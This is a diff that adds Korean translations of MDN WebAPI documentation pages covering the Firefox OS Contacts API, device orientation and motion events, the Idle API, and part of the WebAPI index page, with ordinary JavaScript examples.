+<p>주소록 API는 사용자 시스템의 주소록을 관리할 수 있는 간단한 인터페이스를 제공합니다. 주소록 API의 전형적인 사용 예는 주소록을 관리하는 어플리케이션을 제작하는 일입니다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> 사용자의 연락처와 같은 개인 정보는 민감한 자료이기 때문에 권한 앱이나 인증입만이 이 API에 직접 접근할 수 있습니다. 다른 어플리케이션은 <a href="/ko/docs/WebAPI/Web_Activities" title="/ko/docs/WebAPI/Web_Activities">Web Activities</a>를 사용해서 연락처에 접근하는 작업을 수행하게 하는 일을 권장합니다.</p>
+</div>
+
+<h2 id="연락처_관리">연락처 관리</h2>
+
+<p>시스템의 주소록에 저장된 연락처는 {{domxref("window.navigator.mozContacts","navigator.mozContacts")}} 속성을 통해서 접근할 수 있습니다. 이 속성은 {{domxref("ContactManager")}} 인터페이스의 인스턴스입니다.</p>
+
+<h3 id="연락처_추가">연락처 추가</h3>
+
+<p>시스템의 주소록에 새로운 항목을 추가하는 일은 두가지 단계를 거칩니다:</p>
+
+<ol>
+ <li>필요한 속성이 담긴 새로운 {{domxref("mozContact")}} 객체와 필드 인스턴스를 만듭니다. {{domxref("mozContact")}} 인터페이스는 추가할 연락처의 모든 가능한 속성을 정의하고 있습니다. 이 속성들은 대부분 아래에 나온 예외를 제외하고 vCard 4.0 명세의 내용과 거의 비슷합니다:
+  <ul>
+   <li>vCard N 속성은 다음 5개의 속성으로 나눠졌습니다: {{domxref("mozContact.familyName","familyName")}}, {{domxref("mozContact.givenName","givenName")}}, {{domxref("mozContact.additionalName","additionalName")}}, {{domxref("mozContact.honorificPrefix","honorificPrefix")}}, {{domxref("mozContact.honorificSuffix","honorificSuffix")}}</li>
+   <li>vCard FN 속성은 {{domxref("mozContact.name","name")}}으로 이름이 변경되었습니다.</li>
+   <li>vCard GENDER 속성은 다음 2개의 속성으로 나눠졌습니다: {{domxref("mozContact.sex","sex")}}, {{domxref("mozContact.genderIdentity","genderIdentity")}}</li>
+  </ul>
+ </li>
+ <li>연락처 객체를 첫번째 파라메터로 해서 {{domxref("ContactManager.save()")}} 메서드를 사용합니다. 이 메서드는 {{domxref("DOMRequest")}}를 반환해서 성공 여부를 확인할 수 있게 해줍니다.</li>
+</ol>
+
+<pre class="brush: js">var person = new mozContact();
+person.givenName  = ["John"];
+person.familyName = ["Doe"];
+person.nickName   = ["No kidding"];
+
+var saving = navigator.mozContacts.save(person);
+
+saving.onsuccess = function() {
+  console.log('new contact saved');
+  // This update the person as it is stored
+  // It includes its internal unique ID
+  // Note that saving.result is null here
+};
+
+saving.onerror = function(err) {
+  console.error(err);
+};
+</pre>
+
+<h3 id="연락처_찾기">연락처 찾기</h3>
+
+<p>시스템의 주소록에서 연락처를 가져오는 두개의 메서드가 있습니다:</p>
+
+<ul>
+ <li>특정 목록을 가져오기 위해서는 {{domxref("ContactManager.find()")}}를 사용합니다.</li>
+ <li>모든 연락처를 가져오기 위해서는 {{domxref("ContactManager.getAll()")}}를 사용합니다.</li>
+</ul>
+
+<p>두 메서드는 필터와 정렬 옵션을 정의하는 객체를 파라메터로 사용합니다. {{domxref("ContactManager.getAll")}}은 정렬 옵션만을 사용합니다. 이 옵션은 다음과 같습니다:</p>
+
+<ul>
+ <li><code>sortBy</code>: 검색 결과가 정렬될 필드를 나타내는 문자열입니다. 현재는 givenName과 familyName 만 지원합니다.</li>
+ <li><code>sortOrder</code>: 결과의 정렬 순서를 나타내는 문자열입니다. <code>descending</code>과 <code>ascending</code>을 사용할 수 있습니다.</li>
+</ul>
+
+<p>필터 옵션은 다음과 같습니다:</p>
+
+<ul>
+ <li><code>filterBy</code>: 필터가 적용될 필드를 나타내는 문자열의 배열입니다.</li>
+ <li><code>filterValue</code>: 대조할 값을 나타냅니다.</li>
+ <li><code>filterOp</code>: 사용할 필터 비교 연산입니다. 가능한 값으로는 equals, startsWith, match가 있습니다. 후자는 특정 전화번호를 나타냅니다.</li>
+ <li><code>filterLimit</code>: {{domxref("ContactManager.find()","find")}} 메서드로 가져올 연락처의 갯수입니다.</li>
+</ul>
+
+<p>{{domxref("ContactManager.find","find")}}는 {{domxref("DOMRequest")}} 객체를 반환하고 {{domxref("ContactManager.getAll","getAll")}}는 {{domxref("DOMCursor")}} 객체를 반환해서 검색의 성공 실패 여부를 확인할 수 있습니다.</p>
+
+<p>검색이 성공적으로 완료되면 검색 결과는 {{domxref("DOMRequest.result")}} 속성을 통해서 사용할 수 있고 {{domxref("ContactManager.find","find")}}의 경우에는 {{domxref("mozContact")}} 객체의 배열이, {{domxref("ContactManager.getAll","getAll")}}의 경우에는 하나의 {{domxref("mozContact")}} 객체가 반환됩니다. {{domxref("ContactManager.getAll","getAll")}}에서 다음 결과를 사용하려면 커서의 <code>continue()</code> 메서드를 사용합니다.</p>
+
+<pre class="brush: js">var options = {
+  filterValue : "John",
+  filterBy    : ["givenName","name","nickName"],
+  filterOp    : "contains",
+  filterLimit : 1,
+  sortBy      : "familyName"
+  sortOrder   : "ascending"
+}
+
+var search = navigator.mozContacts.find(options);
+
+search.onsuccess = function() {
+  if (search.result.length === 1) {
+    var person = search.result[0];
+    console.log("Found:" + person.givenName[0] + " " + person.familyName[0]);
+  } else {
+    console.log("Sorry, there is no such contact.")
+  }
+}
+
+search.onerror = function() {
+  console.warn("Uh! Something goes wrong, no result found!");
+}
+
+var allContacts = navigator.mozContacts.getAll({sortBy: "familyName", sortOrder: "descending"});
+
+allContacts.onsuccess = function(event) {
+  var cursor = event.target;
+  if (cursor.result) {
+    console.log("Found: " + cursor.result.givenName[0] + " " + cursor.result.familyName[0]);
+    cursor.continue();
+  } else {
+    console.log("No more contacts");
+  }
+}
+
+allContacts.onerror = function() {
+  console.warn("Something went terribly wrong! :(");
+}
+</pre>
+
+<h3 id="연락처_수정">연락처 수정</h3>
+
+<p>{{domxref("ContactManager.find()","find()")}}나 {{domxref("ContactManager.getAll()","getAll()")}}(또는 새 연락처를 {{domxref("ContactManager.save()","save()")}}로 성공적으로 저장한 후)로 연락처를 가져오면 이 연락처에는 몇가지 메타데이터가 붙습니다:</p>
+
+<ul>
+ <li>{{domxref("mozContact.id")}}로 사용할 수 있는 유일한 ID 값</li>
+ <li>마지막으로 연락처가 수정된 시각을 나타내는 {{domxref("mozContact.updated")}}의 <a href="/ko/docs/JavaScript/Reference/Global_Objects/Date" title="/ko/docs/JavaScript/Reference/Global_Objects/Date">Date</a> 객체</li>
+</ul>
+
+<p>연락처를 수정하기 위해서는 속성값을 변경한 다음에 {{domxref("ContactManager.save()","save()")}} 메서드를 사용해서 저장하면 됩니다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> 연락처가 추가되거나 수정, 삭제되면 {{event("contactchange")}} 이벤트가 발생하고 이를 통해 시스템 주소록의 변경사항을 추적할 수 있습니다. 이 이벤트는 {{domxref("ContactManager.oncontactchange")}} 속성을 이용해서 다룰 수 있습니다.</p>
+</div>
+
+<h3 id="연락처_삭제">연락처 삭제</h3>
+
+<p>{{domxref("ContactManager.remove()")}} 메서드를 사용해서 간단하게 전달된 {{domxref("mozContact")}} 객체를 삭제할 수 있습니다.</p>
+
+<p>특수한 경우에는 모든 연락처 정보를 삭제할 수도 있습니다. {{domxref("ContactManager.clear()")}}를 사용하면 됩니다. 이 메서드를 사용할 때에는 특히 주의해야 합니다. 다시 되돌릴 수 있는 방법이 없습니다.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Contacts', '', 'Contacts Manager API') }}</td>
+   <td>{{ Spec2('Contacts') }}</td>
+   <td>First Working Draft (unstable)</td>
+  </tr>
+  <tr>
+   <td><a href="http://tools.ietf.org/html/rfc6350" title="http://tools.ietf.org/html/rfc6350">vCard Format Specification</a></td>
+   <td>RFC</td>
+   <td><code>RFC6350</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<ul>
+ <li>{{domxref("window.navigator.mozContacts","navigator.mozContacts")}}</li>
+ <li>{{domxref("mozContact")}}</li>
+ <li>{{domxref("ContactManager")}}</li>
+ <li>{{domxref("MozContactChangeEvent")}}</li>
+</ul>
diff --git a/files/ko/webapi/detecting_device_orientation/index.html b/files/ko/webapi/detecting_device_orientation/index.html
new file mode 100644
index 0000000000..664842f66d
--- /dev/null
+++ b/files/ko/webapi/detecting_device_orientation/index.html
@@ -0,0 +1,273 @@
+---
+title: 기기 방향 감지하기
+slug: WebAPI/Detecting_device_orientation
+translation_of: Web/API/Detecting_device_orientation
+---
+<div>{{SeeCompatTable}}</div>
+
+<h2 id="요약">요약</h2>
+
+<p>웹을 이용 가능한 기기들은 자신들의 방향을 알 수 있게 되었다. 즉, 중력과의 관계에서 자신의 방향의 변화를 나타내는 데이터를 알 수 있다는 뜻이다. 특히, 휴대 전화와 같이 손에 쥐고 쓸 수 있는 기기들은 이 정보를 화면을 수직으로 유지하기 위해 자동으로 회전시키는데 사용할 수 있고, 기기가 회전되어서 폭이 높이보다 길 때는 와이드 스크린으로 표시할 수 있게 된다.</p>
+
+<p>방향 정보를 다루는 두 가지 방법의 JavaScript 이벤트가 있다. 첫 번째는 {{domxref("DeviceOrientationEvent")}}로 가속도계가 기기의 방향의 변화를 감지했을 때 발생한다.  이 방향 이벤트들에 의해 보고되는 데이터를 받아서 처리함으로써, 사용자들이 기기를 움직이여서 생기는 방향과 높이의 변화를 상호 작용적으로 응답할 수 있게 된다.</p>
+
+<p>두 번째 이벤트는 {{domxref("DeviceMotionEvent")}}로 가속도에 변화가 일어났을 때 발생한다. 이 이벤트는 {{domxref("DeviceOrientationEvent")}}와는 방향이 아닌 가속도를 감지하고 있다는 점에서 다르다. 일반적으로{{domxref("DeviceMotionEvent")}}를 감지할 수 있는 센서들은 저장 장치들을 충격으로부터 보호하기 위해 노트북에서 사용되는 센서들을 포함한다. {{domxref("DeviceOrientationEvent")}}는 모바일 기기에서 주로 더 많이 나타난다.</p>
+
+<h2 id="방향_이벤트_처리하기">방향 이벤트 처리하기</h2>
+
+<p>방향의 변화를 받기 위해 여러분이 해야하는 것은 {{ event("deviceorientation") }} 이벤트에 리스너를 등록하는 것 뿐이다:</p>
+
+<pre class="brush: js">window.addEventListener("deviceorientation", handleOrientation, true);
+</pre>
+
+<p>이벤트 리스너를 등록한 후에는 (여기에서는 JavaScript 함수 handleOrientation()), 리스너 함수가 업데이트 된 방향 데이터와 함께 주기적으로 호출된다.</p>
+
+<p>방향 이벤트는 다음 네 개의 값을 가진다:</p>
+
+<ul>
+ <li>{{ domxref("DeviceOrientationEvent.absolute") }}</li>
+ <li>{{ domxref("DeviceOrientationEvent.alpha") }}</li>
+ <li>{{ domxref("DeviceOrientationEvent.beta") }}</li>
+ <li>{{ domxref("DeviceOrientationEvent.gamma") }}</li>
+</ul>
+
+<p>이벤트 핸들러 함수는 보통 다음과 같다:</p>
+
+<pre class="brush: js">function handleOrientation(event) {
+  var absolute = event.absolute;
+  var alpha    = event.alpha;
+  var beta     = event.beta;
+  var gamma    = event.gamma;
+
+  // Do stuff with the new orientation data
+}
+</pre>
+
+<h3 id="방향_값_설명">방향 값 설명</h3>
+
+<p>각 축으로부터 보고된 값은 표준 좌표계 축을 중심으로 회전한 양을 가리킨다. 더 자세한 내용은 <a href="/en-US/DOM/Orientation_and_motion_data_explained" title="Orientation and motion data explained">Orientation and motion data explained</a> 문서에 나와있으며, 다음은 이를 간략하게 요약한 것이다.</p>
+
+<ul>
+ <li>{{ domxref("DeviceOrientationEvent.alpha") }} 값은 0도부터 360도까지 범위의 z축을 중심으로 한 기기의 움직임을 나타낸다.</li>
+ <li>{{ domxref("DeviceOrientationEvent.beta") }} 값은 -180도부터 180도까지 범위의 x축을 줌심으로 한 기기의 움직임을 나타낸다. 이는 기기의 앞뒤 움직임을 나타낸다.</li>
+ <li>{{ domxref("DeviceOrientationEvent.gamma") }} 값은 -90도부터 90도까지 범위의 y축을 중심으로 한 기기의 움직임을 나타낸다. 이는 기기의 좌우 움직임을 나타낸다.</li>
+</ul>
+
+<h3 id="방향_예제">방향 예제</h3>
+
+<p>이 예제는 {{event("deviceorientation")}} 이벤트를 지원하고 방향을 감지할 수 있는 기기에서 실행중인 모든 브라우저에서 작동한다.</p>
+
+<p>자 그럼, 정원에 공이 하나 있다고 상상해보자:</p>
+
+<pre class="brush: html">&lt;div class="garden"&gt;
+  &lt;div class="ball"&gt;&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;pre class="output"&gt;&lt;/pre&gt;
+</pre>
+
+<p>이 정원은 가로 세로 200 픽셀이고(그렇다, 작은 정원이다), 정 중앙에 공이 있다:</p>
+
+<pre class="brush: css">.garden {
+  position: relative;
+  width : 200px;
+  height: 200px;
+  border: 5px solid #CCC;
+  border-radius: 10px;
+}
+
+.ball {
+  position: absolute;
+  top   : 90px;
+  left  : 90px;
+  width : 20px;
+  height: 20px;
+  background: green;
+  border-radius: 100%;
+}
+</pre>
+
+<p>이제, 우리가 기기를 움직이면 공도 따라서 움직일 것이다:</p>
+
+<pre class="brush: js">var ball   = document.querySelector('.ball');
+var garden = document.querySelector('.garden');
+var output = document.querySelector('.output');
+
+var maxX = garden.clientWidth  - ball.clientWidth;
+var maxY = garden.clientHeight - ball.clientHeight;
+
+function handleOrientation(event) {
+  var x = event.beta;  // In degree in the range [-180,180]
+  var y = event.gamma; // In degree in the range [-90,90]
+
+  output.innerHTML  = "beta : " + x + "\n";
+  output.innerHTML += "gamma: " + y + "\n";
+
+  // Because we don't want to have the device upside down
+  // We constrain the x value to the range [-90,90]
+  if (x &gt;  90) { x =  90};
+  if (x &lt; -90) { x = -90};
+
+  // To make computation easier we shift the range of
+  // x and y to [0,180]
+  x += 90;
+  y += 90;
+
+  // 10 is half the size of the ball
+  // It center the positionning point to the center of the ball
+  ball.style.top  = (maxX*x/180 - 10) + "px";
+  ball.style.left = (maxY*y/180 - 10) + "px";
+}
+
+window.addEventListener('deviceorientation', handleOrientation);
+</pre>
+
+<p>여기 실제로 실행해 볼 수 있는 예제이다:</p>
+
+<div>{{ EmbedLiveSample('Orientation_example', '230', '260') }}</div>
+
+<div class="warning">
+<p><strong>경고:</strong> Chrome과 Firefox는 동일한 방식으로 각을 다루지 않습니다. 그래서 어떤 축의 방향은 반대가 됩니다.</p>
+</div>
+
+<h2 id="모션_이벤트_처리하기">모션 이벤트 처리하기</h2>
+
+<p>모션 이벤트는 이벤트 이름이 {{ event("devicemotion") }}으로 다르다는 점을 제외하면, 방향 이벤트를 처리하는 방법과 동일하다.</p>
+
+<pre class="brush: js">window.addEventListener("devicemotion", <em>handleMotion</em>, true);</pre>
+
+<p><em>HandleMotion</em> 함수의 파라미터로 넘겨진 {{ domxref("DeviceMotionEvent") }} 객체에 실제로 변화된 정보들이 담겨져 있다.</p>
+
+<p>모션 이벤트는 다음 네 가지 속성을 가진다:</p>
+
+<ul>
+ <li>{{ domxref("DeviceMotionEvent.acceleration") }}</li>
+ <li>{{ domxref("DeviceMotionEvent.accelerationIncludingGravity") }}</li>
+ <li>{{ domxref("DeviceMotionEvent.rotationRate") }}</li>
+ <li>{{ domxref("DeviceMotionEvent.interval") }}</li>
+</ul>
+
+<h3 id="모션_값_설명">모션 값 설명</h3>
+
+<p>{{ domxref("DeviceMotionEvent") }} 객체는 웹 개발자들에게 기기의 위치와 방향의 변화 속도에 관한 정보를 제공한다. 세 개의 축에 따라 변화한 정보가 제공된다 (자세한 내용은 <a href="/en-US/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained" title="/en-US/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained">Orientation and motion data explained</a> 문서를 참조).</p>
+
+<p>{{domxref("DeviceMotionEvent.acceleration","acceleration")}}과 {{domxref("DeviceMotionEvent.accelerationIncludingGravity","accelerationIncludingGravity")}}에서, 각 축은 다음에 해당된다:</p>
+
+<ul>
+ <li><code>x</code>: 서쪽에서 동쪽으로 나타나는 축을 의미한다</li>
+ <li><code>y</code>: 남쪽에서 북쪽으로 나타나는 축을 의미한다</li>
+ <li><code>z</code>: 땅에서 수직으로 나타나는 축을 의미한다</li>
+</ul>
+
+<p>{{domxref("DeviceMotionEvent.rotationRate","rotationRate")}}에서, 조금은 다르게, 각 값들은 다음에 해당된다:</p>
+
+<ul>
+ <li><code>alpha</code>: 화면(또는 데스크탑의 키보드)에 수직인 축을 따른 회전율을 의미한다</li>
+ <li><code>beta</code>: 화면(또는 데스크탑의 키보드)의 평면의 왼쪽에서 오른쪽으로 나타나는 축을 따른 회전율을 의미한다</li>
+ <li><code>gamma</code>: 화면(또는 데스크탑의 키보드)의 평면의 아래에서 위쪽으로 나타나는 축을 따른 회전율을 의미한다</li>
+</ul>
+
+<p>마지막으로, {{domxref("DeviceMotionEvent.interval","interval")}}은 기기에서 데이터를 얻을 수 있는 시간 간격(단위는 밀리초)을 의미한다.</p>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Device Orientation')}}</td>
+   <td>{{Spec2('Device Orientation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>{{domxref("DeviceOrientationEvent")}}</td>
+   <td>7.0</td>
+   <td>3.6<sup>[1]</sup><br>
+    6</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("DeviceMotionEvent")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>6</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>{{domxref("DeviceOrientationEvent")}}</td>
+   <td>3.0</td>
+   <td>3.6<sup>[1]</sup><br>
+    6</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>4.2</td>
+  </tr>
+  <tr>
+   <td>{{domxref("DeviceMotionEvent")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>6</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td><span style="font-size: 12px; line-height: 18px;">4.2</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Gecko_구현_참고_사항">Gecko 구현 참고 사항</h3>
+
+<ol>
+ <li>Firefox 3.6, 4, 5는 표준인 {{domxref("DeviceOrientationEvent")}} 이벤트가 아닌 <a href="/en-US/DOM/MozOrientation" title="MozOrientation">mozOrientation </a>을 지원한다</li>
+</ol>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<ul>
+ <li>{{domxref("DeviceOrientationEvent")}}</li>
+ <li>{{domxref("DeviceMotionEvent")}}</li>
+ <li>The legacy <code><a href="/en-US/DOM/MozOrientation" title="en-US/DOM/MozOrientation">MozOrientation</a></code> event.</li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained" title="Orientation and motion data explained">Orientation and motion data explained</a></li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Events/Using_device_orientation_with_3D_transforms" title="Using Deviceorientation In 3D Transforms">Using deviceorientation in 3D Transforms</a></li>
+</ul>
diff --git a/files/ko/webapi/idle/index.html b/files/ko/webapi/idle/index.html
new file mode 100644
index 0000000000..eeb10abccf
--- /dev/null
+++ b/files/ko/webapi/idle/index.html
@@ -0,0 +1,66 @@
+---
+title: Idle API
+slug: WebAPI/Idle
+translation_of: Archive/B2G_OS/API/Idle_API
+---
+<div>
+  {{non-standard_header}} {{B2GOnlyHeader2('certified')}}</div>
+<h2 id="Summary">Summary</h2>
+<p>Idle API 는 사용자가 유휴상태(idle) 상태가 되었음을 앱에 알려주는데 사용됩니다.</p>
+<p>이것은 사용자가 자신의 디바이스에 아무것도 하지 않을 때에 앱이 동작을 취할 수 있게 해줍니다. 가장 많이 사용하는 경우는 배터리를 아끼기 위한 것으로 이 경우 보통 <a href="/en-US/docs/WebAPI/Power_Management">Power Management API</a> 와 함께 사용됩니다.</p>
+<h2 id="유휴_상태의_사용자_관찰하기">유휴 상태의 사용자 관찰하기</h2>
+<p>시스템이 유휴상태일 때 어플리케이션으로 부터 알림을 받기 위해서는 <strong>idle observer</strong>에 꼭 등록을 하여야 한다. idle observer는 세가지 특성을 가지고 있는 오브젝트이다:</p>
+<ul>
+  <li><code>time</code>은 사용자의 마지막 동작 이후부터 유휴 상태라고 여길때까지의 시간(초)을 정의한다.</li>
+  <li><code>onidle</code>은 사용자가 유휴 상태라고 여겨질 때 함수를 호출한다.</li>
+  <li><code>onactive</code>는 사용자가 유휴 상태였다가 활성화 되었을 때 함수를 호출한다.</li>
+</ul>
+<h3 id="예제_사용자가_반응이_없을때_화면을_어둡게_하기">예제: 사용자가 반응이 없을때 화면을 어둡게 하기</h3>
+<p>이 예제에서, 10초 동안 사용자의 반응이 없을 때 유휴 관찰자(=idle observer)는 화면을 50% 밝기로 어둡게 한다 그리고 다시 사용자의 반응이 나타나면 100% 밝기로 돌려 놓는다. 두번째 유휴 관찰자 는 15초 동안 사용자 반응이 없을때 화면을 꺼 버린다.</p>
+<pre class="brush: js">// NOTE: mozPower is part of the Power Management API
+
+var fadeLight = {
+  time: 10, // Ten seconds
+
+  onidle: function () {
+    // The user does not seem active, let's dim the screen down
+    navigator.mozPower.screenBrightness = 0.5;
+  },
+
+  onactive: function () {
+    // Ok, the user is back, let's brighten the screen up
+    navigator.mozPower.screenBrightness = 1;
+  }
+}
+
+var screenOff = {
+  time: 15, // fifteen seconds
+
+  onidle: function () {
+    // Ok, the user had his chance but he's really idle, let's turn the screen off
+    navigator.mozPower.screenEnabled = false;
+  },
+
+  onactive: function () {
+    // Ok, the user is back, let's turn the screen on
+    navigator.mozPower.screenEnabled = true;
+  }
+}
+
+// Register the idle observers
+
+navigator.addIdleObserver(fadeLight);
+navigator.addIdleObserver(screenOff);
+</pre>
+<p>이 코드에는 <code>fadeLight</code> 와 <code>screenOff 라는 두 유휴 관찰자를 정의한뒤</code>, <span style="line-height: inherit;">시스템에 등록하기 위하여 각각 </span><span style="line-height: inherit;">{{domxref("window.navigator.addIdleObserver","navigator.addIdleObserver()")}} 를 한번씩 호출한다. 어플리케이션은 필요한 만큼에 유휴 관찰자를 등록할 수 있다.</span></p>
+<p>만약 어플리케이션에서 사용자의 반응이 없어지는지 더이상 관찰이 필요 없는 경우, 아래 예제 코드의 예처럼 유휴 관찰자를{{domxref("window.navigator.removeIdleObserver","navigator.removeIdleObserver()")}} 메서드를 통해 제거할 수 있다.</p>
+<pre class="brush:js">navigator.removeIdleObserver(fadeLight);
+navigator.removeIdleObserver(screenOff);
+</pre>
+<h2 id="Specification">Specification</h2>
+<p>Not part of any specification yet; however, this API will be discussed at W3C as part of the <a href="http://www.w3.org/2012/sysapps/" rel="external">System Applications Working Group</a>.</p>
+<h2 id="See_also">See also</h2>
+<ul>
+  <li>{{domxref("window.navigator.addIdleObserver","navigator.addIdleObserver()")}}</li>
+  <li>{{domxref("window.navigator.removeIdleObserver","navigator.removeIdleObserver()")}}</li>
+</ul>
diff --git a/files/ko/webapi/index.html b/files/ko/webapi/index.html
new file mode 100644
index 0000000000..bdc56dcb49
--- /dev/null
+++ b/files/ko/webapi/index.html
@@ -0,0 +1,138 @@
+---
+title: WebAPI
+slug: WebAPI
+tags:
+  - Apps
+  - DOM
+  - Firefox OS
+  - Mobile
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/API
+---
+<p><strong>WebAPI</strong>는 웹 앱과 웹 콘텐츠가 기기의 하드웨어에 접근(배터리 상태나 기기의 진동 하드웨어 등)하고 기기의 데이터 저장소에 접근(달력이나 주소록 목록 등)할 수 있도록 해주는 기기 호환과 접근 API의 모음을 나타내는 단어입니다. 이러한 API를 추가함으로써 오늘날 웹이 할 수 있는 일과 과거에 특정 플랫폼에서만 가능했던 일들이 확장되기를 희망합니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> More of this documentation has been written than it looks like; links are not all added yet. We're actively working on improving this and expect to see things much better over the next couple of weeks. See the <a href="/ko/docs/WebAPI/Doc_status" title="WebAPI/Doc_status">WebAPI doc status page</a>, where we're tracking work on WebAPI docs.</p>
+</div>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Communication_APIs" name="Communication_APIs">Communication APIs</h2>
+
+<dl>
+ <dt><a href="/ko/docs/WebAPI/Network_Information" title="WebAPI/Network_Information">Network Information API</a></dt>
+ <dd>현재 네트워크 연결에 대한 연결 속도와 같은 기본 정보를 알려줍니다.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ko/docs/WebAPI/WebBluetooth" title="WebAPI/WebBluetooth">Bluetooth</a></dt>
+ <dd>WebBluetooth API는 기기의 Bluetooth에 로우레벨 접근을 할 수 있게 해 줍니다.</dd>
+ <dt><a href="/ko/docs/WebAPI/Mobile_Connection" title="WebAPI/Mobile_Connection">Mobile Connection API</a> {{NonStandardBadge}}</dt>
+ <dd>Exposes information about the device's cellular connectivity, such as signal strength, operator information, and so forth.</dd>
+ <dt><a href="/ko/docs/WebAPI/Network_Stats" title="WebAPI/Network_Stats">Network Stats API</a></dt>
+ <dd>Monitors data usage and exposes this data to privileged applications.</dd>
+ <dt><a href="/ko/docs/WebAPI/WebTelephony" title="WebAPI/WebTelephony">Telephony</a> {{NonStandardBadge}}</dt>
+ <dd>Lets apps place and answer phone calls and use the built-in telephony user interface.</dd>
+ <dt><a href="/ko/docs/WebAPI/WebSMS" title="WebAPI/WebSMS">WebSMS </a>{{NonStandardBadge}}</dt>
+ <dd>앱들이 SMS 문자 메시지를 주고 받게 하고, 장치에 저장된 메시지들을 접근하고 관리 하도록 해줍니다.</dd>
+ <dt><a href="/ko/docs/WebAPI/WiFi_Information" title="WebAPI/WiFi_Information">WiFi Information API</a> {{NonStandardBadge}}</dt>
+ <dd>A privileged API which provides information about signal strength, the name of the current network, available WiFi networks, and so forth.</dd>
+</dl>
+
+<h2 class="Documentation" id="Hardware_access_APIs" name="Hardware_access_APIs">Hardware access APIs</h2>
+
+<dl>
+ <dt><a href="/ko/docs/WebAPI/Using_Light_Events">Ambient Light Sensor API</a></dt>
+ <dd>광센서에 접근할 수 있게 해서 앱이 기기 주변의 밝기를 감지할 수 있게 해 줍니다.</dd>
+ <dt><a href="/ko/docs/WebAPI/Battery_Status" title="WebAPI/Battery_Status">Battery Status API</a></dt>
+ <dd>배터리의 충전 정보 및 현재 기기가 충전 중인지 여부에 대한 정보를 제공 합니다.</dd>
+ <dt><a href="/ko/docs/WebAPI/Using_geolocation" title="Using_geolocation">Geolocation API</a></dt>
+ <dd>Provides information about the device's physical location.</dd>
+ <dt><a href="/ko/docs/WebAPI/Pointer_Lock" title="API/Pointer_Lock_API">Pointer Lock API</a></dt>
+ <dd>Lets apps lock access to the mouse and gain access to movement deltas rather than absolute coordinates; this is great for gaming.</dd>
+ <dt><a href="/ko/docs/WebAPI/Proximity" title="WebAPI/Proximity">Proximity API</a></dt>
+ <dd>Lets you detect proximity of the device to a nearby object, such as the user's face.</dd>
+ <dt><a href="/ko/docs/WebAPI/Detecting_device_orientation" title="WebAPI/Detecting_device_orientation">Device Orientation API</a></dt>
+ <dd>기기의 방향 변화를 감지하여 알려줍니다.</dd>
+ <dt><a href="/ko/docs/WebAPI/Managing_screen_orientation" title="WebAPI/Detecting_device_orientation">Screen Orientation API</a></dt>
+ <dd>화면의 방향 변화를 감지하여 알려줍니다. 앱이 어떤 방향을 선호하는지 지정하는데에도 사용 할 수 있습니다.</dd>
+ <dt><a href="/ko/docs/WebAPI/Vibration" title="WebAPI/WebBluetooth">Vibration API</a></dt>
+ <dd>Lets apps control the device's vibration hardware for things such as haptic feedback in games. This is <strong>not</strong> intended for things such as notification vibrations. See the <a href="/ko/docs/WebAPI/Alarm" title="WebAPI/Alarm">Alarm API</a> for that.</dd>
+ <dt><a href="/ko/docs/WebAPI/Camera" title="WebAPI/Camera">Camera API</a> {{NonStandardBadge}}</dt>
+ <dd>Allows apps to take photographs and/or record video using the device's built-in camera.</dd>
+ <dt><a href="/ko/docs/WebAPI/Power_Management" title="WebAPI/Power_Management">Power Management API </a>{{NonStandardBadge}}</dt>
+ <dd>Lets apps turn on and off the screen, CPU, device power, and so forth. Also provides support for listening for and inspecting resource lock events.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/ko/docs/tag/WebAPI" title="tag/CSS">View All...</a></span></p>
+</div>
+
+<div class="section">
